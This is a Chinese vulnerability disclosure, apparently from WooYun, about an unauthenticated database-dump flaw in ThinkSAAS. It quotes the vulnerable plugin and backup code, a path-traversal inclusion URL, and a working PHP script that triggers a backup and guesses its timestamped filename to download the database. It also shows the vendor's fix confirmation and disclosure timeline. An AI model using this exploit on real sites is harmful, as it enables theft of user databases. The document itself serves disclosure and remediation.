2014-02-22:细节已通知厂商并且等待厂商处理中
2014-02-23:厂商已经确认,细节仅向厂商公开
2014-02-26:细节向第三方安全合作伙伴开放
2014-03-05:细节向核心白帽子及相关领域专家公开
2014-03-15:细节向普通白帽子公开
2014-04-04:细节向实习白帽子公开
2014-05-23:细节向公众公开
ThinkSAAS的一个逻辑漏洞导致可以实时备份网站数据库,同时可以获取备份数据库文件名。
下载实时备份的数据库实现脱裤。漏洞影响所有版本。
thinksaas系统使用常量IN_TS来控制页面的访问,然后在每个功能模块用一句代码:
defined('IN_TS') or die('Access Denied.');
来限制访问,这样设计带来的问题是,一个文件包含可以通杀,越权访问执行任意功能模块。
看到/app/user/action/plugin.php代码:
<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
tsNotice('sorry:no plugin!');
}
利用上面的代码可以任意包含php文件,接着看到/app/system/action/sql.php代码:
<?php
defined('IN_TS') or die('Access Denied.');
switch($ts){
case "":
//输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file');
include template('sql');
break;
//优化
case "optimize":
$arrTables = $db->fetch_all_assoc("SHOW TABLES");
foreach($arrTables as $key=>$item){
$db->query("OPTIMIZE TABLE `".$item."` ");
}
qiMsg('优化数据库成功!');
break;
//备份导出
case "export":
require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->backup ('','data/baksql/');
qiMsg('数据库备份完毕!');
break;
利用/app/user/action/plugin.php文件的包含漏洞可以越权执行后台的数据库备份功能,生成数据库备份文件,同时备份的数据库是以date('YmdHis')+_all_v1.sql来命名,可以简单预测到备份数据库文件名。
<?php
date_default_timezone_set('Asia/Hong_Kong');
$url = "http://192.168.116.129/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export";
file_get_contents($url);
$time = date('YmdHis');
for($i = $time; $i <= $time + 300; $i++){
$filename = $i ."_all_v1.sql";
$url = "http://192.168.116.129/thinksaas/data/baksql/".$filename;
if (@file_get_contents($url, null, null, -1, 1)){
echo $url;
}
}
?>
使用上面的代码可以备份数据库并得到备份数据库文件名,测试如图:
修复方案:
过滤&限制
版权声明:转载请注明来源 My5t3ry@乌云 漏洞回应 厂商回应:危害等级:高
漏洞Rank:15
确认时间:2014-02-23 22:39
厂商回复:已经修复,感谢反馈。
最新状态:暂无
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;